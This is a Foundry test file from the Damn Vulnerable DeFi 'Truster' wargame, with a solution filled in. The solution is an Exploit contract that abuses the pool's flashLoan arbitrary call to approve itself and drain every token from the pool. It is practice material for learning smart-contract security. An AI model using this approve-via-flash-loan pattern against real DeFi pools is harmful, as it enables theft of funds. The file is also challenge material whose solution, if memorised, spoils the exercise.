-
Notifications
You must be signed in to change notification settings - Fork 115
/
Truster.t.sol
79 lines (66 loc) · 2.6 KB
/
Truster.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {TrusterLenderPool} from "../../src/truster/TrusterLenderPool.sol";
contract TrusterChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
uint256 constant TOKENS_IN_POOL = 1_000_000e18;
DamnValuableToken public token;
TrusterLenderPool public pool;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy token
token = new DamnValuableToken();
// Deploy pool and fund it
pool = new TrusterLenderPool(token);
token.transfer(address(pool), TOKENS_IN_POOL);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
assertEq(address(pool.token()), address(token));
assertEq(token.balanceOf(address(pool)), TOKENS_IN_POOL);
assertEq(token.balanceOf(player), 0);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_truster() public checkSolvedByPlayer {
//调用闪电贷函数,接收者是pool地址数量为任意数量。
//data需要调用token的approve函数授权到当前攻击合约
//调用transferfrom完成攻击。
Exploit attack=new Exploit(pool,token,recovery);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player must have executed a single transaction
assertEq(vm.getNonce(player), 1, "Player executed more than one tx");
// All rescued funds sent to recovery account
assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens");
assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "Not enough tokens in recovery account");
}
}
contract Exploit {
constructor(TrusterLenderPool pool, DamnValuableToken token, address recoveryAddress) payable {
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), token.balanceOf(address(pool)));
pool.flashLoan(10000, address(pool), address(token), data);
token.transferFrom(address(pool), address(recoveryAddress), token.balanceOf(address(pool)));
}
}